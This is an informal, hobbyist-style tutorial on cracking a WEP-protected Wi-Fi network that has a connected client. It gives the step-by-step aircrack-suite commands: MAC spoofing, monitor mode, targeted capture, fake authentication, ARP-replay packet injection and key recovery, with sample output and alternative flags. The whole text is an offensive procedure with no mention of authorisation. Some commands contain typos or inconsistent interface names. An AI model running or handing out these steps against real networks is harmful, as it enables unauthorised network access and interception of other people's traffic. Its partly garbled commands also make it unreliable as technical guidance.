wep with client

cracking wep encrypted network with at least a client connected (aireplay -3):

-----------------------------------------------------------------------------

(1)spoof wireless card mac address
(2)put wireless card into monitor mode
(3)scan for the target AP using airodump-ng
(4)fake authentication using aireplay-ng option -1
(5)packet injection ie interactive frame selection using aireplay-ng option-3
(6)find the wep key using aircrack-ng
------------------------------------------------------------------------------
(1)spoof our wireless card mac address:
ifcoonfig ath0 down
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0

my output is:
Current MAC: <my mac> (unknown)
Faked MAC:   00:11:22:33:44:55 (Cimsys Inc)

(2)put wireless card into monitor mode:
ifconfig wifi0 up
ifconfig ath0 down
airmon-ng start wifi0

my output is:
...
Interface   Chipset     Driver

wifi0       Atheros     madwifi-ng
ath0        Atheros     madwifi-ng VAP (parent: wifi0)
ath1        Atheros     madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

(3)scan for the target AP using airodump-ng:

airodump-ng ath1


hit ctrl+c to quit, then observe the channel n copy n paste the bssid (mac address AP):

airodump-ng -c <channel>  -w <output>  --bssid <APmac> rausb0



(here we focus on specific Ap such dat we filter out any othr possibilty of intrference from othr Aps on d same chnnl,
hence, reduce the chance of a failed auth/association or a failed attack)

othr commands dat can be used:

airodump-ng -w <output> --ivs -c <channel> ath1



(4)fake authentication using aireplay-ng option -1:

aireplay-ng -1 0 -e <APname>  -a <APmac> -h <yourmac> ath1

other command can be used:
aireplay-ng -1 6000 -o 1 -q 10 -e <APname> -a <APmac> -h <yourmac> rausb0





(5)packet injection ie interactive frame selection using aireplay-ng option-3:

aireplay-ng -3 -b <APmac> -h <yourmac/client> ath1


(6)find the wep key using aircrack-ng:

aircrack-ng <output>*.cap
or
aircrack-ng -P 1  <output>*.cap
aircrack-ng -z  <output>*.cap
aircrack-ng -P 1 [-b <Apmac>] <output>*.cap
aircrack-ng -z  [-b <Apmac>] <output>*.cap
aircrack-ng -n 64 -z -f 1 -e <APname> -b <apmac> <output>*.cap

aircrack-ng -n 128  <output>*.cap

aircrack-ng -a 1 -b <Apmac> <output>

n bee pation